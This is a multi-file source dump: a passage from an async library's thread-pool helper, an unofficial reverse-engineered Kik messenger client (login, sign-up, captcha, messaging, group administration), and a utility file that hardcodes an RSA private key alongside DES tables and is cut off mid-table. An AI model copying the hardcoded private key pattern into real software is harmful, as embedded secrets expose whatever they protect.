# In [29]: %timeit socket.getaddrinfo("127.0.0.1", "80")
# 100000 loops, best of 3: 9.73 µs per loop
#
#
# So... maybe we can beat concurrent.futures with a super-efficient thread
# pool or something, but there really is not a lot of headroom here.
#
# Of course other systems might be different... here's CPython 3.6 in a
# Virtualbox VM running Windows 10 on that same Linux laptop:
#
# In [13]: %timeit t = threading.Thread(target=lambda: None); t.start(); t.join()
# 10000 loops, best of 3: 127 µs per loop
#
# In [18]: %timeit tpp.submit(lambda: None).result()
# 10000 loops, best of 3: 31.9 µs per loop
#
# So on Windows there *might* be an advantage? You've gotta be doing a lot of
# connections, with very fast DNS indeed, for that 100 us to matter. But maybe
# someone is.
#
#
# Regarding throttling: this is very much a trade-off. On the one hand, you
# don't want to overwhelm the machine, obviously. On the other hand, queueing
# up work on a central thread-pool creates a central coordination point which
# can potentially create deadlocks and all kinds of fun things. This is very
# context dependent. For getaddrinfo, whatever, they'll make progress and
# complete (we hope), and you want to throttle them to some reasonable
# amount. For calling waitpid() (because just say no to SIGCHLD), then you
# really want one thread-per-waitpid(), because for all you know the user has
# written some ridiculous thing like:
#
# for p in processes:
# await spawn(p.wait)
# # Deadlock here if there are enough processes:
# await some_other_subprocess.wait()
# for p in processes:
# p.terminate()
#
# This goes doubly for the sort of wacky thread usage we see in curio.abide
# (though, I'm not sure if that's actually useful in practice in our context,
# run_in_trio_thread seems like it might be a nicer synchronization primitive
# for most uses than trying to make threading.Lock awaitable).
#
# See also this very relevant discussion:
#
# https://twistedmatrix.com/trac/ticket/5298
#
# "Interacting with the products at Rackspace which use Twisted, I've seen
# problems caused by thread-pool maximum sizes with some annoying
# regularity. The basic problem is this: if you have a hard limit on the
# number of threads, *it is not possible to write a correct program which may
# require starting a new thread to un-block a blocked pool thread*" - glyph
#
# For now, if we want to throttle getaddrinfo I think the simplest thing is
# for the socket code to have a semaphore for getaddrinfo calls.
#
# Regarding the memory overhead of threads, in theory one should be able to
# reduce this a *lot* for a thread that's just calling getaddrinfo or
# (especially) waitpid. Windows and pthreads both offer the ability to set
# thread stack size on a thread-by-thread basis. Unfortunately as of 3.6
# CPython doesn't expose this in a useful way (all you can do is set it
# globally for the whole process, so it's - ironically - not thread safe).
#
# (It's also unclear how much stack size actually matters; on a 64-bit Linux
# server with overcommit -- i.e., the most common configuration -- then AFAICT
# really the only real limit is on stack size actually *used*; how much you
# *allocate* should be pretty much irrelevant.)
_worker_thread_counter = count()
@_core.enable_ki_protection
async def run_in_worker_thread(sync_fn, *args, cancellable=False):
"""Convert a blocking operation in an async operation using a thread.
These two lines are equivalent::
sync_fn(*args)
await run_in_worker_thread(sync_fn, *args)
except that if ``sync_fn`` takes a long time, then the first line will
block the Trio loop while it runs, while the second line allows other Trio
tasks to continue working while ``sync_fn`` runs. This is accomplished by
pushing the call to ``sync_fn(*args)`` off into a worker thread.
**Cancellation handling**: Cancellation is a tricky issue here, because
neither Python nor the operating systems it runs on provide any general
way to communicate with an arbitrary synchronous function running in a
thread and tell it to stop. This function will always check for
cancellation on entry, before starting the thread. But once the thread is
running, there are two ways it can handle being cancelled:
* If ``cancellable=False``, the function ignores the cancellation and
keeps going, just like if we had called ``sync_fn`` synchronously. This
is the default behavior.
* If ``cancellable=True``, then ``run_in_worker_thread`` immediately
raises :exc:`Cancelled`. In this case **the thread keeps running in
background** – we just abandon it to do whatever it's going to do, and
silently discard any return value or errors that it raises. Only use
this if you know that the operation is safe and side-effect free. (For
example: ``trio.socket.getaddrinfo`` is implemented using
:func:`run_in_worker_thread`, and it sets ``cancellable=True`` because
it doesn't really matter if a stray hostname lookup keeps running in the
background.)
.. warning::
You should not use :func:`run_in_worker_thread` to call CPU-bound
functions! In addition to the usual GIL-related reasons why using
threads for CPU-bound work is not very effective in Python, there is an
additional problem: on CPython, `CPU-bound threads tend to "starve out"
IO-bound threads <https://bugs.python.org/issue7946>`__, so using
:func:`run_in_worker_thread` for CPU-bound work is likely to adversely
affect the main thread running trio. If you need to do this, you're
better off using a worker process, or perhaps PyPy (which still has a
GIL, but may do a better job of fairly allocating CPU time between
threads).
Args:
sync_fn: An arbitrary synchronous callable.
*args: Positional arguments to pass to sync_fn. If you need keyword
arguments, use :func:`functools.partial`.
cancellable (bool): Whether to allow cancellation of this operation. See
discussion above.
Returns:
Whatever ``sync_fn(*args)`` returns.
Raises:
Whatever ``sync_fn(*args)`` raises.
"""
await _core.yield_if_cancelled()
call_soon = _core.current_call_soon_thread_and_signal_safe()
task_register = [_core.current_task()]
def trio_thread_fn(result):
if task_register[0] is not None:
_core.reschedule(task_register[0], result)
def worker_thread_fn():
result = _core.Result.capture(sync_fn, *args)
try:
call_soon(trio_thread_fn, result)
except _core.RunFinishedError:
# The entire run finished, so our particular task is certainly
# long gone -- it must have cancelled.
pass
name = "trio-worker-{}".format(next(_worker_thread_counter))
# daemonic because it might get left behind if we cancel
thread = threading.Thread(target=worker_thread_fn, name=name, daemon=True)
thread.start()
def abort(_):
if cancellable:
task_register[0] = None
return _core.Abort.SUCCEEDED
else:
return _core.Abort.FAILED
return await _core.yield_indefinitely(abort)
|
client.py | import asyncio
import logging
import sys
import time
from threading import Thread, Event
from typing import Union, List, Tuple
from asyncio import Transport, Protocol
from bs4 import BeautifulSoup
import kik_unofficial.callbacks as callbacks
import kik_unofficial.datatypes.exceptions as exceptions
import kik_unofficial.datatypes.xmpp.chatting as chatting
import kik_unofficial.datatypes.xmpp.group_adminship as group_adminship
import kik_unofficial.datatypes.xmpp.login as login
import kik_unofficial.datatypes.xmpp.roster as roster
import kik_unofficial.datatypes.xmpp.history as history
import kik_unofficial.datatypes.xmpp.sign_up as sign_up
import kik_unofficial.xmlns_handlers as xmlns_handlers
from kik_unofficial.datatypes.xmpp.auth_stanza import AuthStanza
from kik_unofficial.datatypes.xmpp import account, xiphias
from kik_unofficial.utilities.threading_utils import run_in_new_thread
from kik_unofficial.datatypes.xmpp.base_elements import XMPPElement
from kik_unofficial.http import profile_pictures, content
HOST, PORT = "talk1110an.kik.com", 5223
log = logging.getLogger('kik_unofficial')
class KikClient:
"""
The main kik class with which you're managing a kik connection and sending commands
"""
def __init__(self, callback: callbacks.KikClientCallback, kik_username, kik_password,
kik_node=None, device_id_override=None, android_id_override=None):
"""
Initializes a connection to Kik servers.
If you want to automatically login too, use the username and password parameters.
:param callback: a callback instance containing your callbacks implementation.
This way you'll get notified whenever certain event happen.
Look at the KikClientCallback class for more details
:param kik_username: the kik username or email to log in with.
:param kik_password: the kik password to log in with.
:param kik_node: the username plus 3 letters after the "_" and before the "@" in the JID. If you know it,
authentication will happen faster and without a login. otherwise supply None.
"""
self.username = kik_username
self.password = kik_password
self.kik_node = kik_node
self.kik_email = None
self.device_id_override = device_id_override
self.android_id_override = android_id_override
self.callback = callback
self.authenticator = AuthStanza(self)
self.connected = False
self.authenticated = False
self.connection = None
self.is_expecting_connection_reset = False
self.loop = asyncio.new_event_loop()
asyncio.set_event_loop(self.loop)
self._known_users_information = set()
self._new_user_added_event = Event()
self.should_login_on_connection = kik_username is not None and kik_password is not None
self._connect()
def _connect(self):
"""
Runs the kik connection thread, which creates an encrypted (SSL based) TCP connection
to the kik servers.
"""
self.kik_connection_thread = Thread(target=self._kik_connection_thread_function, name="Kik Connection")
self.kik_connection_thread.start()
def _on_connection_made(self):
"""
Gets called when the TCP connection to kik's servers is done and we are connected.
Now we might initiate a login request or an auth request.
"""
if self.username is not None and self.password is not None and self.kik_node is not None:
# we have all required credentials, we can authenticate
log.info("[+] Establishing authenticated connection using kik node '{}'...".format(self.kik_node))
message = login.EstablishAuthenticatedSessionRequest(self.kik_node, self.username, self.password, self.device_id_override)
self.initial_connection_payload = message.serialize()
else:
message = login.MakeAnonymousStreamInitTag(self.device_id_override, n = 1)
self.initial_connection_payload = message.serialize()
self.connection.send_raw_data(self.initial_connection_payload)
def _establish_authenticated_session(self, kik_node):
"""
Updates the kik node and creates a new connection to kik servers.
This new connection will be initiated with another payload which proves
we have the credentials for a specific user. This is how authentication is done.
:param kik_node: The user's kik node (everything before '@' in JID).
"""
self.kik_node = kik_node
log.info("[+] Closing current connection and creating a new authenticated one.")
self.disconnect()
self._connect()
def login(self, username, password, captcha_result=None):
"""
Sends a login request with the given kik username and password
:param username: Your kik username or email
:param password: Your kik password
:param captcha_result: If this parameter is provided, it is the answer to the captcha given in the previous
login attempt.
"""
self.username = username
self.password = password
login_request = login.LoginRequest(username, password, captcha_result, self.device_id_override, self.android_id_override)
login_type = "email" if '@' in self.username else "username"
log.info("[+] Logging in with {} '{}' and a given password {}..."
.format(login_type, username, '*' * len(password)))
return self._send_xmpp_element(login_request)
def register(self, email, username, password, first_name, last_name, birthday="1974-11-20", captcha_result=None):
"""
Sends a register request to sign up a new user to kik with the given details.
"""
self.username = username
self.password = password
register_message = sign_up.RegisterRequest(email, username, password, first_name, last_name, birthday, captcha_result,
self.device_id_override, self.android_id_override)
log.info("[+] Sending sign up request (name: {} {}, email: {})...".format(first_name, last_name, email))
return self._send_xmpp_element(register_message)
def request_roster(self, is_big=True, timestamp=None):
"""
Requests the list of chat partners (people and groups). This is called roster in XMPP terms.
"""
log.info("[+] Requesting roster (list of chat partners)...")
return self._send_xmpp_element(roster.FetchRosterRequest(is_big=is_big, timestamp=timestamp))
# -------------------------------
# Common Messaging Operations
# -------------------------------
def send_chat_message(self, peer_jid: str, message: str, bot_mention_jid=None):
"""
Sends a text chat message to another person or a group with the given JID/username.
:param peer_jid: The Jabber ID for which to send the message (looks like username_ejs@talk.kik.com)
If you don't know the JID of someone, you can also specify a kik username here.
:param message: The actual message body
:param bot_mention_jid: If an official bot is referenced, their jid must be embedded as mention for them
to respond.
"""
peer_jid = self.get_jid(peer_jid)
if self.is_group_jid(peer_jid):
log.info("[+] Sending chat message '{}' to group '{}'...".format(message, peer_jid))
return self._send_xmpp_element(chatting.OutgoingGroupChatMessage(peer_jid, message, bot_mention_jid))
else:
log.info("[+] Sending chat message '{}' to user '{}'...".format(message, peer_jid))
return self._send_xmpp_element(chatting.OutgoingChatMessage(peer_jid, message, False, bot_mention_jid))
def send_chat_image(self, peer_jid: str, file, forward=True):
"""
Sends an image chat message to another person or a group with the given JID/username.
:param peer_jid: The Jabber ID for which to send the message (looks like username_ejs@talk.kik.com)
If you don't know the JID of someone, you can also specify a kik username here.
:param file: The path to the image file OR its bytes OR an IOBase object to send.
"""
peer_jid = self.get_jid(peer_jid)
if self.is_group_jid(peer_jid):
log.info("[+] Sending chat image to group '{}'...".format(peer_jid))
imageRequest = chatting.OutgoingGroupChatImage(peer_jid, file, forward)
else:
log.info("[+] Sending chat image to user '{}'...".format(peer_jid))
imageRequest = chatting.OutgoingChatImage(peer_jid, file, False, forward)
content.upload_gallery_image(imageRequest, self.kik_node + '@talk.kik.com', self.username, self.password)
return self._send_xmpp_element(imageRequest)
def send_read_receipt(self, peer_jid: str, receipt_message_id: str, group_jid=None):
"""
Sends a read receipt for a previously sent message, to a specific user or group.
:param peer_jid: The JID of the user to which to send the receipt.
:param receipt_message_id: The message ID that the receipt is sent for
:param group_jid If the receipt is sent for a message that was sent in a group,
this parameter should contain the group's JID
"""
log.info("[+] Sending read receipt to JID {} for message ID {}".format(peer_jid, receipt_message_id))
return self._send_xmpp_element(chatting.OutgoingReadReceipt(peer_jid, receipt_message_id, group_jid))
def send_delivered_receipt(self, peer_jid: str, receipt_message_id: str, group_jid: str = None):
"""
Sends a receipt indicating that a specific message was received, to another person.
:param peer_jid: The other peer's JID to send to receipt to
:param receipt_message_id: The message ID for which to generate the receipt
:param group_jid: The group's JID, in case the receipt is sent in a group (None otherwise)
"""
log.info("[+] Sending delivered receipt to JID {} for message ID {}".format(peer_jid, receipt_message_id))
return self._send_xmpp_element(chatting.OutgoingDeliveredReceipt(peer_jid, receipt_message_id, group_jid))
def send_is_typing(self, peer_jid: str, is_typing: bool):
"""
Updates the 'is typing' status of the bot during a conversation.
:param peer_jid: The JID that the notification will be sent to
:param is_typing: If true, indicates that we're currently typing, or False otherwise.
"""
if self.is_group_jid(peer_jid):
return self._send_xmpp_element(chatting.OutgoingGroupIsTypingEvent(peer_jid, is_typing))
else:
return self._send_xmpp_element(chatting.OutgoingIsTypingEvent(peer_jid, is_typing))
def send_gif_image(self, peer_jid: str, search_term):
"""
Sends a GIF image to another person or a group with the given JID/username.
The GIF is taken from tendor.com, based on search keywords.
:param peer_jid: The Jabber ID for which to send the message (looks like username_ejs@talk.kik.com
:param search_term: The search term to use when searching GIF images on tendor.com
"""
if self.is_group_jid(peer_jid):
log.info("[+] Sending a GIF message to group '{}'...".format(peer_jid))
return self._send_xmpp_element(chatting.OutgoingGIFMessage(peer_jid, search_term, True))
else:
log.info("[+] Sending a GIF message to user '{}'...".format(peer_jid))
return self._send_xmpp_element(chatting.OutgoingGIFMessage(peer_jid, search_term, False))
def request_info_of_users(self, peer_jids: Union[str, List[str]]):
"""
Requests basic information (username, JID, display name, picture) of some users.
When the information arrives, the callback on_peer_info_received() will fire.
:param peer_jids: The JID(s) or the username(s) for which to request the information.
If you want to request information for more than one user, supply a list of strings.
Otherwise, supply a string
"""
return self._send_xmpp_element(roster.QueryUsersInfoRequest(peer_jids))
def add_friend(self, peer_jid):
return self._send_xmpp_element(roster.AddFriendRequest(peer_jid))
def remove_friend(self, peer_jid):
return self._send_xmpp_element(roster.RemoveFriendRequest(peer_jid))
def send_link(self, peer_jid, link, title, text='', app_name='Webpage'):
return self._send_xmpp_element(chatting.OutgoingLinkShareEvent(peer_jid, link, title, text, app_name))
def xiphias_get_users(self, peer_jids: Union[str, List[str]]):
"""
Calls the new format xiphias message to request user data such as profile creation date
and background picture URL.
:param peer_jids: one jid, or a list of jids
"""
return self._send_xmpp_element(xiphias.UsersRequest(peer_jids))
def xiphias_get_users_by_alias(self, alias_jids: Union[str, List[str]]):
"""
Like xiphias_get_users, but for aliases instead of jids.
:param alias_jids: one jid, or a list of jids
"""
return self._send_xmpp_element(xiphias.UsersByAliasRequest(alias_jids))
# --------------------------
# Group Admin Operations
# -------------------------
def change_group_name(self, group_jid: str, new_name: str):
"""
Changes the a group's name to something new
:param group_jid: The JID of the group whose name should be changed
:param new_name: The new name to give to the group
"""
log.info("[+] Requesting a group name change for JID {} to '{}'".format(group_jid, new_name))
return self._send_xmpp_element(group_adminship.ChangeGroupNameRequest(group_jid, new_name))
def add_peer_to_group(self, group_jid, peer_jid):
"""
Adds someone to a group
:param group_jid: The JID of the group into which to add a user
:param peer_jid: The JID of the user to add
"""
log.info("[+] Requesting to add user {} into the group {}".format(peer_jid, group_jid))
return self._send_xmpp_element(group_adminship.AddToGroupRequest(group_jid, peer_jid))
def remove_peer_from_group(self, group_jid, peer_jid):
"""
Kicks someone out of a group
:param group_jid: The group JID from which to remove the user
:param peer_jid: The JID of the user to remove
"""
log.info("[+] Requesting removal of user {} from group {}".format(peer_jid, group_jid))
return self._send_xmpp_element(group_adminship.RemoveFromGroupRequest(group_jid, peer_jid))
def ban_member_from_group(self, group_jid, peer_jid):
"""
Bans a member from the group
:param group_jid: The JID of the relevant group
:param peer_jid: The JID of the user to ban
"""
log.info("[+] Requesting ban of user {} from group {}".format(peer_jid, group_jid))
return self._send_xmpp_element(group_adminship.BanMemberRequest(group_jid, peer_jid))
def unban_member_from_group(self, group_jid, peer_jid):
"""
Undos a ban of someone from a group
:param group_jid: The JID of the relevant group
:param peer_jid: The JID of the user to un-ban from the gorup
"""
log.info("[+] Requesting un-banning of user {} from the group {}".format(peer_jid, group_jid))
return self._send_xmpp_element(group_adminship.UnbanRequest(group_jid, peer_jid))
def join_group_with_token(self, group_hashtag, group_jid, join_token):
"""
Tries to join into a specific group, using a cryptographic token that was received earlier from a search
:param group_hashtag: The public hashtag of the group into which to join (like '#Music')
:param group_jid: The JID of the same group
:param join_token: a token that can be extracted in the callback on_group_search_response, after calling
search_group()
"""
log.info("[+] Trying to join the group '{}' with JID {}".format(group_hashtag, group_jid))
return self._send_xmpp_element(roster.GroupJoinRequest(group_hashtag, join_token, group_jid))
def leave_group(self, group_jid):
"""
Leaves a specific group
:param group_jid: The JID of the group to leave
"""
log.info("[+] Leaving group {}".format(group_jid))
return self._send_xmpp_element(group_adminship.LeaveGroupRequest(group_jid))
def promote_to_admin(self, group_jid, peer_jid):
"""
Turns some group member into an admin
:param group_jid: The group JID for which the member will become an admin
:param peer_jid: The JID of user to turn into an admin
"""
log.info("[+] Promoting user {} to admin in group {}".format(peer_jid, group_jid))
return self._send_xmpp_element(group_adminship.PromoteToAdminRequest(group_jid, peer_jid))
def demote_admin(self, group_jid, peer_jid):
"""
Turns an admin of a group into a regular user with no amidships capabilities.
:param group_jid: The group JID in which the rights apply
:param peer_jid: The admin user to demote
:return:
"""
log.info("[+] Demoting user {} to a regular member in group {}".format(peer_jid, group_jid))
return self._send_xmpp_element(group_adminship.DemoteAdminRequest(group_jid, peer_jid))
def add_members(self, group_jid, peer_jids: Union[str, List[str]]):
"""
Adds multiple users to a specific group at once
:param group_jid: The group into which to join the users
:param peer_jids: a list (or a single string) of JIDs to add to the group
"""
log.info("[+] Adding some members to the group {}".format(group_jid))
return self._send_xmpp_element(group_adminship.AddMembersRequest(group_jid, peer_jids))
# ----------------------
# Other Operations
# ----------------------
def send_ack(self, sender_jid, is_receipt: bool, message_id, group_jid = None):
"""
Sends an acknowledgement for a provided message ID
"""
log.info("[+] Sending acknowledgement for message ID {}".format(message_id))
return self._send_xmpp_element(history.OutgoingAcknowledgement(sender_jid, is_receipt, message_id, group_jid))
def request_messaging_history(self):
"""
Requests the account's messaging history.
Results will be returned using the on_message_history_response() callback
"""
log.info("[+] Requesting messaging history")
return self._send_xmpp_element(history.OutgoingHistoryRequest())
def search_group(self, search_query):
"""
Searches for public groups using a query
Results will be returned using the on_group_search_response() callback
:param search_query: The query that contains some of the desired groups' name.
"""
log.info("[+] Initiating a search for groups using the query '{}'".format(search_query))
return self._send_xmpp_element(roster.GroupSearchRequest(search_query))
def check_username_uniqueness(self, username):
"""
Checks if the given username is available for registration.
Results are returned in the on_username_uniqueness_received() callback
:param username: The username to check for its existence
"""
log.info("[+] Checking for Uniqueness of username '{}'".format(username))
return self._send_xmpp_element(sign_up.CheckUsernameUniquenessRequest(username))
def set_profile_picture(self, filename):
"""
Sets the profile picture of the current user
:param filename: The path to the file OR its bytes OR an IOBase object to set
"""
log.info("[+] Setting the profile picture to file '{}'".format(filename))
profile_pictures.set_profile_picture(filename, self.kik_node + '@talk.kik.com', self.username, self.password)
def set_background_picture(self, filename):
"""
Sets the background picture of the current user
:param filename: The path to the image file OR its bytes OR an IOBase object to set
"""
log.info("[+] Setting the background picture to filename '{}'".format(filename))
profile_pictures.set_background_picture(filename, self.kik_node + '@talk.kik.com', self.username, self.password)
def send_captcha_result(self, stc_id, captcha_result):
"""
In case a captcha was encountered, solves it using an element ID and a response parameter.
The stc_id can be extracted from a CaptchaElement, and the captcha result needs to be extracted manually with
a browser. Please see solve_captcha_wizard() for the steps needed to solve the captcha
:param stc_id: The stc_id from the CaptchaElement that was encountered
:param captcha_result: The answer to the captcha (which was generated after solved by a human)
"""
log.info("[+] Trying to solve a captcha with result: '{}'".format(captcha_result))
return self._send_xmpp_element(login.CaptchaSolveRequest(stc_id, captcha_result))
def get_my_profile(self):
"""
Fetches your own profile details
"""
log.info("[+] Requesting self profile")
return self._send_xmpp_element(account.GetMyProfileRequest())
def change_display_name(self, first_name, last_name):
"""
Changes the display name
:param first_name: The first name
:param last_name: The last name
"""
log.info("[+] Changing the display name to '{} {}'".format(first_name, last_name))
return self._send_xmpp_element(account.ChangeNameRequest(first_name, last_name))
def change_password(self, new_password, email):
"""
Changes the login password
:param new_password: The new login password to set for the account
:param email: The current email of the account
"""
log.info("[+] Changing the password of the account")
return self._send_xmpp_element(account.ChangePasswordRequest(self.password, new_password, email, self.username))
def change_email(self, old_email, new_email):
"""
Changes the email of the current account
:param old_email: The current email
:param new_email: The new email to set
"""
log.info("[+] Changing account email to '{}'".format(new_email))
return self._send_xmpp_element(account.ChangeEmailRequest(self.password, old_email, new_email))
def disconnect(self):
"""
Closes the connection to kik's servers.
"""
log.info("[!] Disconnecting.")
self.connection.close()
self.is_expecting_connection_reset = True
# self.loop.call_soon(self.loop.stop)
# -----------------
# Internal methods
# -----------------
def _send_xmpp_element(self, message: XMPPElement):
"""
Serializes and sends the given XMPP element to kik servers
:param xmpp_element: The XMPP element to send
:return: The UUID of the element that was sent
"""
while not self.connected:
log.debug("[!] Waiting for connection.")
time.sleep(0.1)
if type(message.serialize()) is list:
log.debug("[!] Sending multi packet data.")
packets = message.serialize()
for p in packets:
self.loop.call_soon_threadsafe(self.connection.send_raw_data, p)
return message.message_id
else:
self.loop.call_soon_threadsafe(self.connection.send_raw_data, message.serialize())
return message.message_id
@run_in_new_thread
def _on_new_data_received(self, data: bytes):
"""
Gets called whenever we get a whole new XML element from kik's servers.
:param data: The data received (bytes)
"""
if data == b' ':
# Happens every half hour. Disconnect after 10th time. Some kind of keep-alive? Let's send it back.
self.loop.call_soon_threadsafe(self.connection.send_raw_data, b' ')
return
xml_element = BeautifulSoup(data.decode('utf-8'), features='xml')
xml_element = next(iter(xml_element)) if len(xml_element) > 0 else xml_element
# choose the handler based on the XML tag name
if xml_element.name == "k":
self._handle_received_k_element(xml_element)
if xml_element.name == "iq":
self._handle_received_iq_element(xml_element)
elif xml_element.name == "message":
self._handle_xmpp_message(xml_element)
elif xml_element.name == 'stc':
self.callback.on_captcha_received(login.CaptchaElement(xml_element))
def _handle_received_k_element(self, k_element: BeautifulSoup):
"""
The 'k' element appears to be kik's connection-related stanza.
It lets us know if a connection or a login was successful or not.
:param k_element: The XML element we just received from kik.
"""
if k_element['ok'] == "1":
self.connected = True
if 'ts' in k_element.attrs:
# authenticated!
log.info("[+] Authenticated successfully.")
self.authenticated = True
self.authenticator.send_stanza()
self.callback.on_authenticated()
elif self.should_login_on_connection:
self.login(self.username, self.password)
self.should_login_on_connection = False
else:
self.callback.on_connection_failed(login.ConnectionFailedResponse(k_element))
def _handle_received_iq_element(self, iq_element: BeautifulSoup):
"""
The 'iq' (info/query) stanzas in XMPP represents the request/ response elements.
We send an iq stanza to request for information, and we receive an iq stanza in response to this request,
with the same ID attached to it.
For a great explanation of this stanza: http://slixmpp.readthedocs.io/api/stanza/iq.html
:param iq_element: The iq XML element we just received from kik.
"""
if iq_element.error and "bad-request" in dir(iq_element.error):
raise Exception("Received a Bad Request error for stanza with ID {}".format(iq_element.attrs['id']))
query = iq_element.query
xml_namespace = query['xmlns'] if 'xmlns' in query.attrs else query['xmlns:']
self._handle_response(xml_namespace, iq_element)
def _handle_response(self, xmlns, iq_element):
"""
Handles a response that we receive from kik after our initiated request.
Examples: response to a group search, response to fetching roster, etc.
:param xmlns: The XML namespace that helps us understand what type of response this is
:param iq_element: The actual XML element that contains the response
"""
if xmlns == 'kik:iq:check-unique':
xmlns_handlers.CheckUsernameUniqueResponseHandler(self.callback, self).handle(iq_element)
elif xmlns == 'jabber:iq:register':
xmlns_handlers.RegisterOrLoginResponseHandler(self.callback, self).handle(iq_element)
elif xmlns == 'jabber:iq:roster':
xmlns_handlers.RosterResponseHandler(self.callback, self).handle(iq_element)
elif xmlns == 'kik:iq:friend' or xmlns == 'kik:iq:friend:batch':
xmlns_handlers.PeersInfoResponseHandler(self.callback, self).handle(iq_element)
elif xmlns == 'kik:iq:xiphias:bridge':
xmlns_handlers.XiphiasHandler(self.callback, self).handle(iq_element)
elif xmlns == 'kik:auth:cert':
self.authenticator.handle(iq_element)
elif xmlns == 'kik:iq:QoS':
xmlns_handlers.HistoryHandler(self.callback, self).handle(iq_element)
elif xmlns == 'kik:iq:user-profile':
xmlns_handlers.UserProfileHandler(self.callback, self).handle(iq_element)
def _handle_xmpp_message(self, xmpp_message: BeautifulSoup):
"""
an XMPP 'message' in the case of Kik is the actual stanza we receive when someone sends us a message
(weather groupchat or not), starts typing, stops typing, reads our message, etc.
Examples: http://slixmpp.readthedocs.io/api/stanza/message.html
:param xmpp_message: The XMPP 'message' element we received
"""
self._handle_kik_event(xmpp_message)
def _handle_kik_event(self, xmpp_element):
"""
Handles kik "push" events, like a new message that arrives.
:param xmpp_element: The XML element that we received with the information about the event
"""
if "xmlns" in xmpp_element.attrs:
# The XML namespace is different for iOS and Android, handle the messages with their actual type
if xmpp_element['type'] == "chat":
xmlns_handlers.XMPPMessageHandler(self.callback, self).handle(xmpp_element)
elif xmpp_element['type'] == "groupchat":
xmlns_handlers.GroupXMPPMessageHandler(self.callback, self).handle(xmpp_element)
elif xmpp_element['type'] == "receipt":
if xmpp_element.g:
self.callback.on_group_receipts_received(chatting.IncomingGroupReceiptsEvent(xmpp_element))
else:
xmlns_handlers.XMPPMessageHandler(self.callback, self).handle(xmpp_element)
else:
# iPads send messages without xmlns, try to handle it as jabber:client
xmlns_handlers.XMPPMessageHandler(self.callback, self).handle(xmpp_element)
def _on_connection_lost(self):
"""
Gets called when the connection to kik's servers is (unexpectedly) lost.
It could be that we received a connection reset packet for example.
:return:
"""
self.connected = False
if not self.is_expecting_connection_reset:
log.info("[-] The connection was unexpectedly lost")
self.is_expecting_connection_reset = False
def _kik_connection_thread_function(self):
"""
The Kik Connection thread main function.
Initiates the asyncio loop and actually connects.
"""
# If there is already a connection going, than wait for it to stop
if self.loop and self.loop.is_running():
self.loop.call_soon_threadsafe(self.connection.close)
log.debug("[!] Waiting for the previous connection to stop.")
while self.loop.is_running():
log.debug("[!] Still Waiting for the previous connection to stop.")
time.sleep(1)
log.info("[+] Initiating the Kik Connection thread and connecting to kik server...")
# create the connection and launch the asyncio loop
self.connection = KikConnection(self.loop, self)
connection_coroutine = self.loop.create_connection(lambda: self.connection, HOST, PORT, ssl=True)
self.loop.run_until_complete(connection_coroutine)
log.debug("[!] Running main loop")
self.loop.run_forever()
log.debug("[!] Main loop ended.")
self.callback.on_disconnected()
def get_jid(self, username_or_jid):
if '@' in username_or_jid:
# this is already a JID.
return username_or_jid
else:
username = username_or_jid
# first search if we already have it
if self.get_jid_from_cache(username) is None:
# go request for it
self._new_user_added_event.clear()
self.request_info_of_users(username)
if not self._new_user_added_event.wait(5.0):
raise TimeoutError("Could not get the JID for username {} in time".format(username))
return self.get_jid_from_cache(username)
def get_jid_from_cache(self, username):
for user in self._known_users_information:
if user.username.lower() == username.lower():
return user.jid
return None
@staticmethod
def log_format():
return '[%(asctime)-15s] %(levelname)-6s (thread %(threadName)-10s): %(message)s'
@staticmethod
def is_group_jid(jid):
if '@talk.kik.com' in jid:
return False
elif '@groups.kik.com' in jid:
return True
else:
raise exceptions.KikApiException('Not a valid jid')
class KikConnection(Protocol):
def __init__(self, loop, api: KikClient):
self.api = api
self.loop = loop
self.partial_data = None # type: bytes
self.partial_data_start_tag = None # type: str
self.transport = None # type: Transport
def connection_made(self, transport: Transport):
self.transport = transport
log.info("[!] Connected.")
self.api._on_connection_made()
def data_received(self, data: bytes):
log.debug("[+] Received raw data: %s", data)
if self.partial_data is None:
if len(data) < 16384:
self.loop.call_soon_threadsafe(self.api._on_new_data_received, data)
else:
log.debug("Multi-packet data, waiting for next packet.")
start_tag, is_closing = self.parse_start_tag(data)
self.partial_data_start_tag = start_tag
self.partial_data = data
else:
if self.ends_with_tag(self.partial_data_start_tag, data):
self.loop.call_soon_threadsafe(self.api._on_new_data_received, self.partial_data + data)
self.partial_data = None
self.partial_data_start_tag = None
else:
log.debug("[!] Waiting for another packet, size={}".format(len(self.partial_data)))
self.partial_data += data
@staticmethod
def parse_start_tag(data: bytes) -> Tuple[bytes, bool]:
tag = data.lstrip(b'<')
tag = tag.split(b'>')[0]
tag = tag.split(b' ')[0]
is_closing = tag.endswith(b'/')
if is_closing:
tag = tag[:-1]
return tag, is_closing
@staticmethod
def ends_with_tag(expected_end_tag: bytes, data: bytes):
return data.endswith(b'</' + expected_end_tag + b'>')
def connection_lost(self, exception):
self.loop.call_soon_threadsafe(self.api._on_connection_lost)
self.loop.stop()
def send_raw_data(self, data: bytes):
log.debug("[+] Sending raw data: %s", data)
self.transport.write(data)
def close(self):
if self.transport:
self.transport.write(b'</k>')
|
Utils.py | import datetime
import pickle
import struct
import hashlib
import json
import socket
from threading import Thread
import os, sys
import random
from RSA import RSA
import pandas as pd
prKey = (98581262173360837326167111125113695068362686677036762762847714161386363356381, 39432504869344334930466844450045478027093153642958253734301565008685708450381)
IP = [58, 50, 42, 34, 26, 18, 10, 2,
60, 52, 44, 36, 28, 20, 12, 4,
62, 54, 46, 38, 30, 22, 14, 6,
64, 56, 48, 40, 32, 24, 16, 8,
57, 49, 41, 33, 25, 17, 9, 1,
59, 51, 43, 35, 27, 19, 11, 3,
61, 53, 45, 37, 29, 21, 13, 5,
63, 55, 47, 39, 31, 23, 15, 7]
Dbox = [32, 1 , 2 , 3 , 4 , 5 , 4 , 5,
6 , 7 , 8 , 9 , 8 , 9 , 10, 11,
12, 13, 12, 13, 14, 15, 16, 17,
16, 17, 18, 19, 20, 21, 20, 21,
22, 23, 24, 25, 24, 25, 26, 27,
28, 29, 28, 29, 30, 31, 32, 1]
SP = [16, 7, 20, 21,
29, 12, 28, 17,
1, 15, 23, 26,
5, 18, 31, 10,
2, 8, 24, 14,
32, 27, 3, 9,
19, 13, 30, 6,
22, 11, 4, 25]
Sbox = [[[14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7],
[ 0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 5, 3, 8],
[ 4, 1, 14, 8, 13, 6, 2, 11, 15, 12, 9, 7, 3, 10, 5, 0],
[15, 12, 8, 2, 4, 9, 1, 7, 5, 11, 3, 14, 10, 0, 6, 13 ]],
